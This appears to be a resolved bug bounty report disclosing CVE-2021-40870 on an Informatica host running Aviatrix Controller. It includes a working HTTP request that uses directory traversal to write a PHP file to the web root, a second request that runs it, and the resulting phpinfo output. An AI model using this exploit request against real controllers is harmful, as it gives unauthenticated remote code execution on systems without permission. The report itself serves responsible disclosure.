CVE-2021-40870 in [███]
Critical
I
Informatica
Submitted None
Actions:
Reported by
fdeleite
Vulnerability Details
Technical details and impact analysis
An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.
The IP has a SSL certificate pointing to Informatica LLC.
``curl -kvI https://█████████``
Output
```
Server certificate:
* subject: ██████
```
## Steps To Reproduce
First, run this request:
```
POST /v1/backend1 HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/1yv4QQmkj4h4OdmmyT11tkiGf5M.php&data=RCE<?php phpinfo()?>
```
The retrieve the content from file ``1yv4QQmkj4h4OdmmyT11tkiGf5M.php``
```
GET /v1/1yv4QQmkj4h4OdmmyT11tkiGf5M.php HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
```
Which is basically the output of the phpinfo function:
Response (truncated):
```
<tr class="h"><th>Variable</th><th>Value</th></tr>
<tr><td class="e">SCRIPT_URL </td><td class="v">/v1/1.php </td></tr>
<tr><td class="e">SCRIPT_URI </td><td class="v">https://█████████/v1/1.php </td></tr>
<tr><td class="e">HTTPS </td><td class="v">on </td></tr>
<tr><td class="e">SSL_SERVER_S_DN_C </td><td class="v">US </td></tr>
<tr><td class="e">SSL_SERVER_S_DN_ST </td><td class="v">California </td></tr>
<tr><td class="e">SSL_SERVER_S_DN_L </td><td class="v">Redwood City </td></tr>
<tr><td class="e">SSL_SERVER_S_DN_O </td><td class="v">Informatica LLC </td></tr>
<tr><td class="e">SSL_SERVER_S_DN_OU </td><td class="v">██████ </td></tr>
<tr><td class="e">SSL_SERVER_S_DN_CN </td><td class="v">██████ </td></tr>
<tr><td class="e">SSL_SERVER_I_DN_C </td><td class="v">US </td></tr>
<tr><td class="e">SSL_SERVER_I_DN_O </td><td class="v">HydrantID (Avalanche Cloud Corporation) </td></tr>
<tr><td class="e">SSL_SERVER_I_DN_CN </td><td class="v">HydrantID SSL ICA G2 </td></tr>
<tr><td class="e">SSL_SERVER_SAN_DNS_0 </td><td class="v">███ </td></tr>
<tr><td class="e">SSL_VERSION_INTERFACE </td><td class="v">mod_ssl/2.4.39 </td></tr>
```
## Impact
- An unauthenticated, 3rd-party attacker or adversary can execute remote code
### Supporting Material/References
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40870
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2021-40870
UNKNOWN
An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.
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State
Closed
Substate
Resolved
Submitted
Weakness
Code Injection